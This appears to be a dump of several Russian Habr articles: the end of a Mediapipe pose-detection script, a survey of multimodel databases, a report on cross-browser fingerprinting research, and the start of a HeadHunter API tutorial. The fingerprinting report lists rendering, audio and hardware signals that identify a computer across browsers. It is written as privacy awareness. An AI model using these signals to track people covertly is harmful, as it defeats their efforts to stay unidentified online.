# h = int(cap.get(4))
# fourcc = cv2.VideoWriter_fourcc(*'MP4V')
# out = cv2.VideoWriter('output_recursive.mp4', fourcc, 10.0, (w, h))
start_time = time.time()
frame_count = 0
fps = 0
while True:
_, img = cap.read()
img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
# Recursive run detection
image = img_rgb.copy()
holistic_recursive(img, image)
frame_count += 1
if frame_count > 20:
fps = frame_count / (time.time() - start_time)
start_time = time.time()
frame_count = 0
cv2.putText(img, f'FPS: {int(fps)}', (10, 30), cv2.FONT_HERSHEY_PLAIN, 2, (255, 0, 0), 2)
cv2.imshow("cam", img)
# out.write(img)
k = cv2.waitKey(1)
if k == 27: # close on ESC key
break
# cap.release()
# out.release()
cv2.destroyAllWindows()
```
В этой реализации с помощью Mediapipe мы достигли позы с несколькими людьми. Надеюсь, вы найдете это полезным для работы или учебы. | https://habr.com/ru/post/567534/ | null | ru | null |
# Мультимодельные СУБД — основа современных информационных систем?
Современные информационные системы достаточно сложны. Не в последнюю очередь их сложность обусловлена сложностью обрабатываемых в них данных. Сложность же данных зачастую заключается в многообразии используемых моделей данных. Так, например, когда данные становятся «большими», одной из доставляющих неудобства характеристик [считается](https://en.wikipedia.org/wiki/Big_data#Characteristics) не только их объем («volume»), но и их разнообразие («variety»).
Если вы пока не находите изъяна в рассуждениях, то читайте дальше.
[](https://habr.com/ru/post/462493/)
**Содержание статьи**[Polyglot persistence](#polyglot-persistenceanchoranchor)
[Мультимодельность](#multimodelnostanchoranchor)
[Мультимодельные СУБД на основе реляционной модели](#multimodelnye-subd-na-osnove-relyacionnoy-modelianchoranchor)
[Документная модель в MS SQL Server](#dokumentnaya-model-v-ms-sql-serveranchoranchor)
[Графовая модель в MS SQL Server](#grafovaya-model-v-ms-sql-serveranchoranchor)
[Мультимодельные СУБД на основе документной модели](#multimodelnye-subd-na-osnove-dokumentnoy-modelianchoranchor)
[Реляционная модель в MarkLogic](#relyacionnaya-model-v-marklogicanchoranchor)
[Графовая модель в MarkLogic](#grafovaya-model-v-marklogicanchoranchor)
[Мультимодельные СУБД «без основной модели»](#multimodelnye-subd-bez-osnovnoy-modelianchoranchor)
[ArangoDB](#arangodbanchoranchor)
[OrientDB](#orientdbanchoranchor)
[Azure CosmosDB](#azure-cosmosdbanchoranchor)
[Мультимодельные СУБД на основе графовой модели?](#multimodelnye-subd-na-osnove-grafovoy-modelianchoranchor)
[Заключение](#zaklyuchenieanchoranchor)
[Опрос](#anchoranchorhr)
Polyglot persistence
--------------------
Сказанное выше приводит к тому, что порою в рамках даже одной системы приходится для хранения данных и решения различных задач по их обработке использовать несколько различных СУБД, каждая из которых поддерживает свою модель данных. С легкой руки М. Фаулера, [автора](https://www.amazon.com/Martin-Fowler/e/B000AQ6PGM) ряда известных книг и одного из [соавторов](https://agilemanifesto.org/authors.html) Agile Manifesto, такая ситуация получила название *многовариантного хранения* («polyglot persistence»).
Фаулеру принадлежит и следующий пример организации хранения данных в полнофункциональном и высоконагруженном приложении в сфере электронной коммерции.
Пример этот, конечно, несколько утрированный, но некоторые соображения в пользу выбора той или иной СУБД для соответствующей цели можно найти, например, [здесь](https://www.jamesserra.com/archive/2015/07/what-is-polyglot-persistence/).
Понятно, что быть служителем в таком зоопарке нелегко.
* Объем кода, выполняющего сохранение данных, растет пропорционально числу используемых СУБД; объем кода, синхронизирующего данные, — хорошо если не пропорционально квадрату этого числа.
* Кратно числу используемых СУБД возрастают затраты на обеспечение enterprise-характеристик (масштабируемости, отказоустойчивости, высокой доступности) каждой из используемых СУБД.
* Невозможно обеспечить enterprise-характеристики подсистемы хранения в целом — особенно транзакционность.
С точки зрения директора зоопарка все выглядит так:
* Кратное увеличение стоимости лицензий и техподдержки от производителя СУБД.
* Раздутие штата и увеличение сроков.
* Прямые финансовые потери или штрафные санкции из-за несогласованности данных.
Имеет место значительный рост совокупной стоимости владения системой (TCO). Есть ли из ситуации «многовариантного хранения» какой-то выход?
Мультимодельность
-----------------
Термин «многовариантное хранение» вошел в обиход в 2011 году. Осознание проблем подхода и поиск решения заняли несколько лет, и к 2015 году устами аналитиков Gartner ответ был сформулирован:
* Из «[Market Guide for NoSQL DBMSs — 2015](https://www.gartner.com/en/documents/3105622)»:
> Будущее СУБД, их архитектур и способов использования — мультимодельность.
>
>
* Из «[Magic Quadrant for ODBMS — 2016](https://www.gartner.com/en/documents/3467318)»:
> Ведущие операционные СУБД будут предлагать несколько моделей — реляционную и нереляционные — в составе единой платформы.
>
>
Похоже, что в этот раз аналитики Gartner с прогнозом не ошиблись. Если зайти на страницу с [основным рейтингом](https://db-engines.com/en/ranking) СУБД на DB-Engines, можно увидеть, что б*о*льшая часть его лидеров позиционирует себя именно как мультимодельные СУБД. То же можно увидеть и на странице с любым частным рейтингом.
В таблице ниже приведены СУБД — лидеры в каждом из частных рейтингов, заявляющие о своей мультимодельности. Для каждой СУБД указаны первоначальная поддерживаемая модель (когда-то бывшая единственной) и наряду с ней модели, поддерживаемые сейчас. Также приведены СУБД, позиционирующие себя как «изначально мультимодельные», не имеющие по заявлениям создателей какой-либо первоначальной унаследованной модели.
| СУБД | Изначальная модель | Дополнительные модели |
| --- | --- | --- |
| Oracle | Реляционная | Графовая, документная |
| MS SQL | Реляционная | Графовая, документная |
| PostgreSQL | Реляционная | Графовая\*, документная |
| MarkLogic | Документная | Графовая, реляционная |
| MongoDB | Документная | Ключ-значение, графовая\* |
| DataStax | Wide-column | Документная, графовая |
| Redis | Ключ-значение | Документная, графовая\* |
| ArangoDB | — | Графовая, документная |
| OrientDB | — | Графовая, документная |
| Azure CosmosDB | — | Графовая, документная, реляционная |
**Примечания к таблице**Звездочками в таблице помечены утверждения, требующие оговорок:
* СУБД PostgreSQL не поддерживает графовую модель данных, однако ее поддерживает такой продукт [на ее основе](https://wiki.postgresql.org/wiki/PostgreSQL_derived_databases), как, например, AgensGraph.
* Применительно к MongoDB правильнее говорить скорее о наличии графовых операторов в языке запросов ([`$lookup`](https://docs.mongodb.com/manual/reference/operator/aggregation/lookup/index.html#lookup-aggregation), [`$graphLookup`](https://docs.mongodb.com/manual/reference/operator/aggregation/graphLookup/index.html#graphlookup-aggregation)), чем о поддержке графовой модели, хотя, конечно, их введение потребовало некоторых оптимизаций на уровне физического хранения в направлении поддержки графовой модели.
* Применительно к Redis имеется в виду расширение [RedisGraph](https://oss.redislabs.com/redisgraph/).
Далее для каждого из классов мы покажем, как реализуется поддержка нескольких моделей в СУБД из этого класса. Наиболее важными будем считать реляционную, документную и графовую модели и на примерах конкретных СУБД показывать, как реализуются «недостающие».
Мультимодельные СУБД на основе реляционной модели
-------------------------------------------------
Ведущими СУБД в настоящее время являются реляционные, прогноз Gartner нельзя было бы считать сбывшимся, если бы РСУБД не демонстрировали движения в направлении мультимодельности. И они демонстрируют. Теперь соображения о том, что мультимодельная СУБД подобна швейцарскому ножу, которым ничего нельзя сделать хорошо, можно направлять сразу Ларри Эллисону.
Автору, однако, больше нравится реализация мультимодельности в Microsoft SQL Server, на примере которого поддержка РСУБД документной и графовой моделей и будет описана.
### Документная модель в MS SQL Server
О том, как в MS SQL Server реализована поддержка документной модели, на Хабре уже было две отличных статьи, ограничусь кратким пересказом и комментарием:
* [Работаем с JSON в SQL Server 2016](https://habr.com/ru/post/317166/)
* [SQL Server 2017 JSON](https://habr.com/ru/post/343062/)
Способ поддержки документной модели в MS SQL Server достаточно типичен для реляционных СУБД: JSON-документы предлагается хранить в обычных текстовых полях. Поддержка документной модели заключается в предоставлении специальных операторов для разбора этого JSON:
* [`JSON_VALUE`](https://docs.microsoft.com/en-us/sql/t-sql/functions/json-value-transact-sql) для извлечения скалярных значений атрибутов,
* [`JSON_QUERY`](https://docs.microsoft.com/en-us/sql/t-sql/functions/json-query-transact-sql) для извлечения поддокументов.
Вторым аргументом обоих операторов является выражение в JSONPath-подобном синтаксисе.
Абстрактно можно сказать, что хранимые таким образом документы не являются в реляционной СУБД «сущностями первого класса», в отличие от кортежей. Конкретно в MS SQL Server в настоящее время отсутствуют индексы по полям JSON-документов, что делает затруднительными операции соединения таблиц по значениям этих полей и даже выборку документов по этим значениям. Впрочем, возможно создать по такому полю вычислимый столбец и индекс по нему.
Дополнительно MS SQL Server предоставляет возможность удобно конструировать JSON-документ из содержимого таблиц с помощью оператора [`FOR JSON PATH`](https://docs.microsoft.com/en-us/sql/relational-databases/json/format-query-results-as-json-with-for-json-sql-server) — возможность, в известном смысле противоположную предыдущей, обычному хранению. Понятно, что какой бы быстрой ни была РСУБД, такой подход противоречит идеологии документных СУБД, по сути хранящих готовые ответы на популярные запросы, и может решать лишь проблемы удобства разработки, но не быстродействия.
Наконец, MS SQL Server позволяет решать задачу, обратную конструированию документа: можно разложить JSON по таблицам с помощью [`OPENJSON`](https://docs.microsoft.com/en-us/sql/t-sql/functions/openjson-transact-sql). Если документ не совсем плоский, потребуется использовать `CROSS APPLY`.
### Графовая модель в MS SQL Server
Поддержка графовой (LPG) модели реализована в Microsoft SQL Server тоже вполне [предсказуемо](https://docs.microsoft.com/en-us/sql/relational-databases/graphs/sql-graph-overview?view=sql-server-2017): предлагается использовать специальные таблицы для хранения узлов и для хранения ребер графа. Такие таблицы создаются с использованием выражений `CREATE TABLE AS NODE` и `CREATE TABLE AS EDGE` соответственно.
Таблицы первого вида сходны с обычными таблицами для хранения записей с тем лишь внешним отличием, что в таблице присутствует системное поле `$node_id` — уникальный в пределах базы данных идентификатор узла графа.
Аналогично, таблицы второго вида имеют системные поля `$from_id` и `$to_id`, записи в таких таблицах понятным образом задают связи между узлами. Для хранения связей каждого вида используется отдельная таблица.
 Проиллюстрируем сказанное примером. Пусть графовые данные имеют схему как на приведенном рисунке. Тогда для создания соответствующей структуры в базе данных нужно выполнить следующие DDL-запросы:
```
CREATE TABLE Person (
ID INTEGER NOT NULL,
name VARCHAR(100)
) AS NODE;
CREATE TABLE Cafe (
ID INTEGER NOT NULL,
name VARCHAR(100),
) AS NODE;
CREATE TABLE likes (
rating INTEGER
) AS EDGE;
CREATE TABLE friendOf
AS EDGE;
/* Возможно в SQL Server 2019:
ALTER TABLE likes
ADD CONSTRAINT EC_LIKES CONNECTION (Person TO Cafe);
*/
```
Основная специфика таких таблиц заключается в том, что в запросах к ним возможно использовать графовые паттерны с Cypher-подобным синтаксисом (впрочем, «`*`» и пр. пока не поддерживаются). Также на основе измерений производительности можно предположить, что способ хранения данных в этих таблицах отличен от механизма хранения данных в обычных таблицах и оптимизирован для выполнения подобных графовых запросов.
```
SELECT Cafe.name
FROM Person, likes, Cafe
WHERE MATCH (Person-(friendOf)-(likes)->Cafe)
AND Person.name = 'John';
```
Более того, довольно трудно при работе с такими таблицами эти графовые паттерны не использовать, поскольку в обычных SQL-запросах для решения аналогичных задач потребуется предпринимать дополнительные усилия для получения системных «графовых» идентификаторов узлов (`$node_id`, `$from_id`, `$to_id`; по этой же причине запросы на вставку данных не приведены здесь как слишком громоздкие).
Подводя итог описанию реализаций документной и графовой моделей в MS SQL Server, я бы отметил, что подобные реализации одной модели поверх другой не кажутся удачными в первую очередь с точки зрения языкового дизайна. Требуется расширять один язык другим, языки не вполне «ортогональны», правила сочетаемости могут быть довольно причудливы.
Мультимодельные СУБД на основе документной модели
-------------------------------------------------
В этом разделе хочется проиллюстрировать реализацию мультимодельности в документных СУБД на примере не наиболее популярной из них MongoDB (как было сказано, в ней есть лишь условно графовые операторы `$lookup` и `$graphLookup`, не работающие на шардированных коллекциях), а на примере более зрелой и «энтерпрайзной» СУБД [MarkLogic](https://www.marklogic.com/).
Итак, пусть коллекция содержит набор XML-документов следующего вида (хранить JSON-документы MarkLogic тоже позволяет):
```
John
Smith
```
### Реляционная модель в MarkLogic
Реляционное представление коллекции документов можно создать с помощью [шаблона отображения](https://docs.marklogic.com/guide/sql/creating-template-views) (содержимым элементов `value` в примере ниже может быть произвольный XPath):
```
/Person
Person
SSN
@SSN
string
name
name
surname
surname
```
К созданному представлению можно адресовать SQL-запрос (например, через ODBC):
```
SELECT name, surname FROM Person WHERE name="John"
```
К сожалению, созданное с помощью шаблона отображения реляционное представление доступно только для чтения. При обработке запроса к нему MarkLogic попытается использовать [документные индексы](https://docs.marklogic.com/guide/concepts/indexing). Прежде в MarkLogic были и ограниченные реляционные представления, целиком [основанные на индексах](https://docs.marklogic.com/guide/sql/creating-range-views) и доступные на запись, но сейчас они считаются deprecated.
### Графовая модель в MarkLogic
С поддержкой графовой (RDF) модели все обстоит примерно так же. Опять-таки с помощью [шаблона отображения](https://docs.marklogic.com/guide/semantics/tde) можно создать RDF-представление коллекции документов из примера выше:
```
/Person
PREFIX
"http://example.org/example#"
sem:iri( $PREFIX || @SSN )
sem:iri( $PREFIX || surname )
xs:string( surname )
sem:iri( $PREFIX || @SSN )
sem:iri( $PREFIX || name )
xs:string( name )
```
К полученному RDF-графу можно адресовать SPARQL-запрос:
```
PREFIX :
SELECT ?name ?surname {
:631803299804 :name ?name ; :surname ?surname .
}
```
В отличие от реляционной, графовую модель MarkLogic поддерживает еще двумя другими способами:
1. СУБД может быть полноценным отдельным хранилищем RDF-данных (триплеты в нем будут называться [managed](https://docs.marklogic.com/guide/semantics/updating#id_50917) в противоположность описанным выше [extracted](https://docs.marklogic.com/guide/semantics/tde)).
2. RDF в специальной сериализации может быть попросту вставлен в XML- или JSON-документы (и триплеты тогда будут называться [unmanaged](https://docs.marklogic.com/guide/semantics/embedded)). Вероятно, это такая альтернатива механизмам `idref` и пр.
Хорошее представление о том, как «на самом деле» все устроено в MarkLogic, дает [Optic API](https://docs.marklogic.com/guide/app-dev/OpticAPI), в этом смысле оно низкоуровневое, хотя назначение его скорее обратное — попробовать абстрагироваться от используемой модели данных, обеспечить согласованную работу с данными в различных моделях, транзакционность и пр.
Мультимодельные СУБД «без основной модели»
------------------------------------------
На рынке также представлены СУБД, позиционирующие себя как изначально мультимодельные, не имеющие никакой унаследованной основной модели. К их числу относятся [ArangoDB](https://www.arangodb.com/), [OrientDB](https://orientdb.com/) (c 2018 года компания-разработчик принадлежит SAP) и [CosmosDB](https://azure.microsoft.com/en-us/services/cosmos-db/) (сервис в составе облачной платформы Microsoft Azure).
На самом деле «основные» модели в ArangoDB и OrientDB есть. Это в том и в другом случае собственные модели данных, являющиеся обобщениями документной. Обобщения заключаются в основном в облегчении возможности производить запросы графового и реляционного характера.
Эти модели являются в указанных СУБД единственно доступными для использования, для работы с ними предназначены собственные языки запросов. Безусловно, такие модели и СУБД перспективны, однако отсутствие совместимости со стандартными моделями и языками делает невозможным использование этих СУБД в унаследованных системах — замену ими уже используемых там СУБД.
Про ArangoDB и OrientDB на Хабре уже была замечательная статья: [JOIN в NoSQL базах данных](https://habr.com/ru/post/413123/).
### ArangoDB
ArangoDB заявляет поддержку графовой модели данных.
Узлы графа в ArangoDB — это обычные документы, а ребра — документы специального вида, имеющие наряду с обычными системными полями (`_key`, `_id`, `_rev`) системные поля `_from` и `_to`. Документы в документных СУБД традиционно объединяются в коллекции. Коллекции документов, представляющих ребра, в ArangoDB называются edge-коллекциями. К слову, документы edge-коллекций — это тоже документы, поэтому ребра в ArangoDB могут выступать также и узлами.
**Исходные данные**Пусть у нас есть коллекция `persons`, документы которой выглядят так:
```
[
{
"_id" : "people/alice" ,
"_key" : "alice" ,
"name" : "Алиса"
},
{
"_id" : "people/bob" ,
"_key" : "bob" ,
"name" : "Боб"
}
]
```
Пусть также есть коллекция `cafes`:
```
[
{
"_id" : "cafes/jd" ,
"_key" : "jd" ,
"name" : "Джон Донн"
},
{
"_id" : "cafes/jj" ,
"_key" : "jj" ,
"name" : "Жан-Жак"
}
]
```
Тогда коллекция `likes` может выглядеть следующим образом:
```
[
{
"_id" : "likes/1" ,
"_key" : "1" ,
"_from" : "persons/alice" ,
"_to" : "cafes/jd",
"since" : 2010
},
{
"_id" : "likes/2" ,
"_key" : "2" ,
"_from" : "persons/alice" ,
"_to" : "cafes/jj",
"since" : 2011
} ,
{
"_id" : "likes/3" ,
"_key" : "3" ,
"_from" : "persons/bob" ,
"_to" : "cafes/jd",
"since" : 2012
}
]
```
**Запросы и результаты**Запрос в графовом стиле на используемом в ArangoDB языке AQL, возвращающий в человекочитаемом виде сведения о том, кому какое кафе нравится, выглядит так:
```
FOR p IN persons
FOR c IN OUTBOUND p likes
RETURN { person : p.name , likes : c.name }
```
В реляционном стиле, когда мы скорее «вычисляем» связи, а не храним их, этот запрос можно переписать так (к слову, без коллекции `likes` можно было бы обойтись):
```
FOR p IN persons
FOR l IN likes
FILTER p._key == l._from
FOR c IN cafes
FILTER l._to == c._key
RETURN { person : p.name , likes : c.name }
```
Результат в обоих случаях будет один и тот же:
```
[
{ "person" : "Алиса" , likes : "Жан-Жак" } ,
{ "person" : "Алиса" , likes : "Джон Донн" } ,
{ "person" : "Боб" , likes : "Джон Донн" }
]
```
**Еще запросы и результаты**Если кажется, что формат результата выше характерен больше для реляционной СУБД, чем для документной, можно попробовать такой запрос (либо можно воспользоваться [`COLLECT`](https://www.arangodb.com/docs/devel/aql/operations-collect.html)):
```
FOR p IN persons
RETURN {
person : p.name,
likes : (
FOR c IN OUTBOUND p likes
RETURN c.name
)
}
```
Результат будет иметь следующий вид:
```
[
{ "person" : "Алиса" , likes : ["Жан-Жак" , "Джон Донн"] } ,
{ "person" : "Боб" , likes : ["Джон Донн"] }
]
```
### OrientDB
В основе реализации графовой модели поверх документной в OrientDB лежит [возможность](http://orientdb.com/docs/3.0.x/general/Types.html) полей документов иметь помимо более-менее стандартных скалярных значений еще и значения таких типов, как `LINK`, `LINKLIST`, `LINKSET`, `LINKMAP` и `LINKBAG`. Значения этих типов — ссылки или коллекции ссылок на [системные идентификаторы](http://www.orientdb.com/docs/last/Tutorial-Record-ID.html) документов.
Присваиваемый системой идентификатор документа имеет «физический смысл», указывая позицию записи в базе, и выглядит примерно так: `@rid : #3:16`. Тем самым значения ссылочных свойств — действительно скорее указатели (как в графовой модели), а не условия отбора (как в реляционной).
Как и в ArangoDB, в OrientDB ребра представляются отдельными документами (хотя если у ребра нет своих свойств, его можно сделать [легковесным](http://www.orientdb.com/docs/last/Lightweight-Edges.html), и ему не будет соответствовать отдельный документ).
**Исходные данные**В формате, приближенном к [формату дампа](https://orientdb.com/docs/last/Export-Format.html#records-section) базы OrientDB, данные из предыдущего примера для ArangoDB выглядели бы примерно так:
```
[
{
"@type": "document",
"@rid": "#11:0",
"@class": "Person",
"name": "Алиса",
"out_likes": [
"#30:1",
"#30:2"
],
"@fieldTypes": "out_likes=LINKBAG"
},
{
"@type": "document",
"@rid": "#12:0",
"@class": "Person",
"name": "Боб",
"out_likes": [
"#30:3"
],
"@fieldTypes": "out_likes=LINKBAG"
},
{
"@type": "document",
"@rid": "#21:0",
"@class": "Cafe",
"name": "Жан-Жак",
"in_likes": [
"#30:2",
"#30:3"
],
"@fieldTypes": "in_likes=LINKBAG"
},
{
"@type": "document",
"@rid": "#22:0",
"@class": "Cafe",
"name": "Джон Донн",
"in_likes": [
"#30:1"
],
"@fieldTypes": "in_likes=LINKBAG"
},
{
"@type": "document",
"@rid": "#30:1",
"@class": "likes",
"in": "#22:0",
"out": "#11:0",
"since": 1262286000000,
"@fieldTypes": "in=LINK,out=LINK,since=date"
},
{
"@type": "document",
"@rid": "#30:2",
"@class": "likes",
"in": "#21:0",
"out": "#11:0",
"since": 1293822000000,
"@fieldTypes": "in=LINK,out=LINK,since=date"
},
{
"@type": "document",
"@rid": "#30:3",
"@class": "likes",
"in": "#21:0",
"out": "#12:0",
"since": 1325354400000,
"@fieldTypes": "in=LINK,out=LINK,since=date"
}
]
```
Как мы видим, вершины тоже хранят сведения о входящих и исходящих ребрах. При [использовании](http://orientdb.com/docs/3.0.x/java/Java-MultiModel-API.html) Document API за ссылочной целостностью приходится следить самому, а Graph API берет эту работу на себя. Но посмотрим, как выглядят обращение к OrientDB на «чистых», не интегрированных в языки программирования, языках запросов.
**Запросы и результаты**Запрос, аналогичный по назначению запросу из примера для ArangoDB, в OrientDB выглядит так:
```
SELECT name AS person_name, OUT('likes').name AS cafe_name
FROM Person
UNWIND cafe_name
```
Результат будет получен в следующем виде:
```
[
{ "person_name": "Алиса", "cafe_name": "Джон Донн" },
{ "person_name": "Алиса", "cafe_name": "Жан-Жак" },
{ "person_name": "Боб", "cafe_name": "Жан-Жак" }
]
```
Если формат результата опять кажется чересчур «реляционным», нужно убрать строку с [`UNWIND()`](http://orientdb.com/docs/3.0.x/sql/SQL-Query.html#unwinding):
```
[
{ "person_name": "Алиса", "cafe_name": [ "Джон Донн", "Жан-Жак" ] },
{ "person_name": "Боб", "cafe_name": [ "Жан-Жак" ' }
]
```
Язык запросов OrientDB можно охарактеризовать как SQL c Gremlin-подобными вставками. В версии 2.2 появилась Cypher-подобная форма запроса, [`MATCH`](http://orientdb.com/docs/3.0.x/sql/SQL-Match.html) :
```
MATCH {CLASS: Person, AS: person}-likes->{CLASS: Cafe, AS: cafe}
RETURN person.name AS person_name, LIST(cafe.name) AS cafe_name
GROUP BY person_name
```
Формат результата будет таким же, как в предыдущем запросе. Подумайте, что нужно убрать, чтобы сделать его более «реляционным», как в самом первом запросе.
### Azure CosmosDB
В меньшей степени сказанное выше об ArangoDB и OrientDB относится к Azure CosmosDB. CosmosDB предоставляет следующие API доступа к данным: SQL, MongoDB, Gremlin и Cassandra.
SQL API и MongoDB API используются для доступа к данным в документной модели. Gremlin API и Cassandra API — для доступа к данным соответственно в графовой и колоночной. Данные во всех моделях сохраняются в формате внутренней модели CosmosDB: [ARS](https://azure.microsoft.com/en-us/blog/a-technical-overview-of-azure-cosmos-db/) («atom-record-sequence»), которая также близка к документной.
Но выбранная пользователем модель данных и используемый API фиксируются в момент создания аккаунта в сервисе. Невозможно получить доступ к данным, загруженным в одной модели, в формате другой модели, что иллюстрировалось бы примерно таким рисунком:
Тем самым мультимодельность в Azure CosmosDB на сегодняшний день представляет собой лишь возможность использовать несколько баз данных, поддерживающих различные модели, от одного производителя, что не решает всех проблем многовариантного хранения.
Мультимодельные СУБД на основе графовой модели?
-----------------------------------------------
Обращает на себя внимание тот факт, что на рынке пока нет мультимодельных СУБД, имеющих в основе графовую модель (если не считать мультимодельностью поддержку одновременно двух графовых моделей: RDF и LPG; см. об этом в [предыдущей публикации](https://habr.com/ru/post/451206/#v-podderzhka-lpganchoranchor)). Наибольшие затруднений вызывает реализация поверх графовой модели документной, а не реляционной.
Вопрос о том, как реализовать поверх графовой модели реляционную, рассматривался еще во времена становления этой последней. Как [говорил](http://www.dbdebunk.com/2019/03/graph-databases-they-who-forget-past.html), например, [Дэвид Макговерен](https://en.wikipedia.org/wiki/David_McGoveran):
> There is nothing inherent in the graph approach that prevents creating a layer (e.g., by suitable indexing) on a graph database that enables a relational view with (1) recovery of tuples from the usual key value pairs and (2) grouping of tuples by relation type.
При реализации же документной модели поверх графовой нужно иметь в виду, например, следующее:
* Элементы JSON-массива считаются упорядоченными, исходящие из вершины ребра графа — нет;
* Данные в документной модели обычно денормализованы, хранить несколько копий одного и того же вложенного документа все же не хочется, а идентификаторов у поддокументов обычно нет;
* С другой стороны, идеология документных СУБД в том и заключается, что документы являются готовыми «агрегатами», которые не нужно каждый раз строить заново. Требуется обеспечить в графовой модели возможность быстро получить подграф, соответствующий готовому документу.
**Немного рекламы**Автор статьи имеет отношение к разработке СУБД NitrosBase, внутренняя модель которой является графовой, а внешние модели — реляционная и документная — являются её представлениями. Все модели равноправны: практически любые данные доступны в любой из них с использованием естественного для неё языка запросов. Более того, в любом представлении данные могут быть изменены. Изменения отразятся во внутренней модели и, соответственно, в других представлениях.
Как выглядит соответствие моделей в NitrosBase — опишу, надеюсь, в одной из следующих статей.
Заключение
==========
Надеюсь, что общие контуры того, что называется мультимодельностью, стали читателю более-менее ясны. Мультимодельными называются достаточно разные СУБД, и «поддержка нескольких моделей» может выглядеть по-разному. Для понимания того, что называют «мультимодельностью» в каждом конкретном случае, полезно ответить на следующие вопросы:
1. Идет ли речь о поддержке традиционных моделей или же о некоей одной гибридной модели?
2. «Равноправны» ли модели, или одна из них является подлежащей для других?
3. «Безразличны» ли модели друг другу? Могут ли данные, записанные в одной модели, быть прочитанными в другой или даже перезаписаны?
Думаю, на вопрос об актуальности мультимодельных СУБД уже можно дать положительный ответ, но интересен вопрос о том, какие именно их разновидности будут более востребованы в ближайшее время. Похоже, более востребованы будут мультимодельные СУБД, поддерживающие традиционные модели, в первую очередь, реляционную; популярность же мультимодельных СУБД, предлагающих новые модели, сочетающие в себе достоинства различных традиционных, — дело более отдаленного будущего.
---
----- | https://habr.com/ru/post/462493/ | null | ru | null |
# Фингерпринтинг конкретного ПК с точностью 99,24%: не спасает даже смена браузера
*Задачи рендеринга на клиентской стороне с целью фингерпринтинга*
Практика смены браузера, чтобы сменить личность в интернете, является популярным советом от [экспертов](https://www.us-cert.gov/publications/securing-your-web-browser) и [специалистов по безопасности](http://www.compukiss.com/internet-and-security/you-should-install-two-browsers.html). Согласно [опросу](http://yinzhicao.org/TrackingFree/crossbrowsertracking_NDSS17.pdf), около 70% пользователей установили и регулярно используют по меньшей мере два браузера. Так они надеются избежать слежки и нежелательного распознавания на сайтах.
Группа американских исследователей опубликовала [научную работу](http://yinzhicao.org/TrackingFree/crossbrowsertracking_NDSS17.pdf) с описанием более продвинутых техник фингерпринтинга, которые не учитывают версию браузера, но всё равно распознают конкретный ПК с высокой точностью.
Фингерпринтинг — спорная техника идентификации пользователей в интернете в качестве альтернативы обычным кукам и «вечным» кукам. Если пользователь удаляет куки или у него установлены программы для блокировки следящих трекеров, с помощью фингерпринтинга его всё равно можно узнать.
Противники этой техники говорят, что использование фингерпринтинга неэтично, если пользователь явно запретил себя идентифицировать и активно удаляет куки. С другой стороны, некоторые веб-разработчики не видят ничего плохого в том, чтобы распознавать повторных посетителей, если не делать ничего незаконного. Мол, это же для их собственного удобства. Распознавание пользователей (трекинг) тем или иным способом осуществляет более 90% самых популярных сайтов интернета. Фингерпринтинг — самая надёжная техника. Она подразумевает создание уникального «отпечатка» пользовательского компьютера с учётом всех открытых параметров: версии ОС, версии браузера, набора плагинов и расширений к браузеру, списка установленных шрифтов, разрешения экрана и т.д.
До последнего времени при фингерпринтинге всегда учитывалась версия браузера пользователя, но сейчас исследователи пробуют преодолеть это ограничение — и распознавать конкретные ПК независимо от браузера.
В работе группы американских исследователей новая техника именуется CBF, то есть кросс-браузерный фингерпринтинг (Cross-Browser Fingerprinting). Она учитывает характеристики компьютерной системы, которые проявляют себя независимо от версии браузера при рендеринге и обработке графики.
Исследователи замеряют время выполнения различных графических операций и используют эту информацию для профилирования конкретного ПК. Например, нанесение растрового изображения на грань куба средствами WebGL с аппаратным видеоускорением выполняется с одинаковой скоростью независимо от браузера.
Вот список некоторых параметров, которые можно использовать для кросс-браузерного фингерпринтинга.
**Разрешение экрана**. Как выяснилось, если задействовать зуммирование, то можно получить надёжный результат независимо от версии браузера.
**Количество ядер процессора**. Браузерный параметр `hardwareConcurrency` выдаёт максимальный порог для конкретного компьютера в операциях Web Worker. Даже если браузер пытается изменить этот параметр (например, Safari делит его на два), можно легко вычислить истинное значение.
**AudioContext**. Набор задач по обработке звука в операционной системе и звуковой карте. Фингерпринтинг осуществляется путём замера времени выполнения этих операций.
**Список шрифтов**. Стандартная техника фингерпринтинга, которую исследователи адаптировали для кросс-браузерного варианта. Список установленных шрифтов можно определить по рендерингу глифов в браузере.
**Линии, кривые и антиалиасинг**. Рендеринг линий, прямых и антиалиасинг в HTML5 Canvas и WebGL выполняется средствами GPU.
**Vertex Shader**. Ещё один элемент, который рендерится графической подсистемой и графическим драйвером. Он используется при создании теней и освещения в 3D-объектах и задействуется в WebGL.
**Fragment Shader**. Отслеживается таким же способом, как и Vertex Shader.
**Прозрачность в альфа-канале**. Выдача этих графических элементов зависит от GPU и драйвера и является одинаковой во всех браузерах.
**Установленные письменности (языки)**. Некоторые письменности вроде китайской, корейской и арабской, требуют установки специальных библиотек.
**Моделирование**. Рендеринг 3D-моделей.
**Освещение и построение теней** (Lighting and Shadow Mapping). Ещё одна особенность 3D-графики, связанная с обработкой света и теней.
**Камера**. Имеется в виду не установленная на компьютере веб-камера, а другая техника, специфичная для 3D-моделирования. Она производит построение 2D-представлений для 3D-объектов.
**Отсечение плоскостей** (Clipping Planes). Операция WebGL, связанная с вычислением координат 3D-объектов с ограниченной видимостью.
Все перечисленные техники в совокупности позволяют составить довольно надёжный и точный профиль конкретного компьютера. В таблице ниже перечислена надёжность и энтропия, которую обеспечивает каждый метод и все они вместе.
В совокупности, техники CBF позволяют точно идентифицировать около 99,24% всех компьютеров. Исследователи проводили тесты с использованием браузеров Chrome, Firefox, Edge, IE, Opera, Safari, Maxthon, UC Browser и Coconut.
Техника работает довольно надёжно и отсутствие какого-нибудь одного из параметров в профиле практически не оказывает влияния на результат.
Для анонимной работы в интернете авторы научной работы рекомендуют использовать браузер Tor, который нормализует браузерную выдачу и не даёт возможности осуществить фингерпринтинг такого рода. Правда, и у него есть небольшой грешок: он тоже оставляет пару параметров открытыми, в том числе ширину экрана и AudioContext. Исследователи выразили надежду, что разработчики Tor нормализуют выдачу по этим параметрам тоже. | https://habr.com/ru/post/357238/ | null | ru | null |
# Работа с API HeadHunter при помощи python
Разбираемся на практике с API HeadHunter при помощи python.
Появилась задача анализа вакансий на рынке труда, и осуществлять ее надо базе HeadHunter. Необходимо получить все вакансии определенной компании по всем городам России. Ознакомившись с [документацией по API на github](https://github.com/hhru/api), приступаем к работе.
Для решения задачи используем python. Импортируем необходимые для работы библиотеки:
```
import requests # Для запросов по API
import json # Для обработки полученных результатов
import time # Для задержки между запросами
import os # Для работы с файлами
